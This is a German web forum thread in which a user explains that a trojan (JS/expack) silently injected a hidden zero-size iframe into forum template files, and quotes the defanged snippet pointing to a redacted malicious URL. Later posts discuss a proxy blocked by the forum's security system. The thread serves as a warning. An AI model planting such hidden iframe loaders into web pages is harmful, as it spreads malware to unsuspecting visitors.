Unerwartete Folgen eines Trojanerbefalls

dedie

Vor ein paar Tagen beklagte sich ein User in einem WBB-Hilfeforum das er Probleme mit seinem Forum nach dem Einbau eines Games hätte.

Beim posten eines Template-Codes des betreffenden Forums der den Fehler ausgelöst hatte sprang bei den meisten Usern die diesen Code zusehen bekamen der Viren Scanner an und warnte vor einem JavaScript-Virus.

Es stellte sich heraus das in dem Template und auch in einigen anderen Templates die zwecks des Einbaus des neuen Gamehacks von dem Rechner hochgeladen wurde ein Code mit eingefügt war der wiederum einen Trojaner runterladen sollte(URL wurde von mir editiert):

code:

1:
2:
3:
4:
5:

<!--c3284d--><sc[COLOR=red][B]<x>[/B][/COLOR]ript type="text/javascript">
document.write('<if[COLOR=red][B]<x>[/B][/COLOR]rame src="http://************.nl/joomla/images/news.php" border="0" width="0" height="0"></iframe>');
</script><!--/c3284d-->

Dieser Code war ursprünglich nicht den Originaldateien enthalten sondern wurden durch den Trojaner "JS/expack" während des Bearbeitens/Entpacken der Dateien durch den User auf seinem Rechner eingefügt ohne das dieser davon was merkte.

Durch diese Art und Weise kann sich ein Trojaner wunderbar über Seiten die man normalerweise als "Sicher" einstufen würde problemlos weiterverbreiten.

Rene-gad

Hallo Dedie,
ich wünsche Dir und allen Boardies ein gesundes Neues Jahr!

Vllt. wegen dieses Code konnte ich heute aus meinem Büro nicht ins Forum reinkommen? Winken

dedie

Hallo Rene-gad,
auch dir sei ein ein gesundes Neues Jahr gewünscht.

Ich habe mal den Code bei Virustotal hochgeladen da wurde nix angemeckert yes

Rene-gad

Zitat:

Original von dedie
Ich habe mal den Code bei Virustotal hochgeladen da wurde nix angemeckert yes

Ich checke es morgen früh und gebe Dir alle Infos - gleich sofort, wenn es keine Probleme werden bzw. am Abend, wenn die Seite weiterhin geblockt werden sollte.

Rene-gad

Naja, es scheint doch was im Busch zu sein.
Siehe die Bilder an, das 2. Bild kommt von unserem Antivirus, das 3. - wenn ich die AV-Empfehlung ignoriere

dedie

Das ist das neue Security-System vom Forum das hat was gegen deine IP oder so was in der Art, ich schau mal die Logs von dem System durch.

Edit: Um wie viel Uhr war das ungefähr?

Rene-gad

Zitat:

Original von dedie
Um wie viel Uhr war das ungefähr?

So gegen 07:45 ...

dedie

Shit, heute morgen gegen 10:00 Uhr wurde die *.log Datei automatisch erneuert was davor war ist wech.

Ich stell mal ein wenig um, mal sehen ob es dann klappt.

Edit:
Heute morgen Ca. 7:45 Uhr erfolgte eine Blockierung die wahrscheinlich dich betraf, du kommst über Proxy rein das wurde geblockt.

Rene-gad

Zitat:

Original von dedie
du kommst über Proxy rein

das stimmt, aber in meiner Firma immer ein Proxy dazwischen stand :).

dedie

Seit 11 Tagen läuft hier im Forum ein neues Sicherheitssystem yes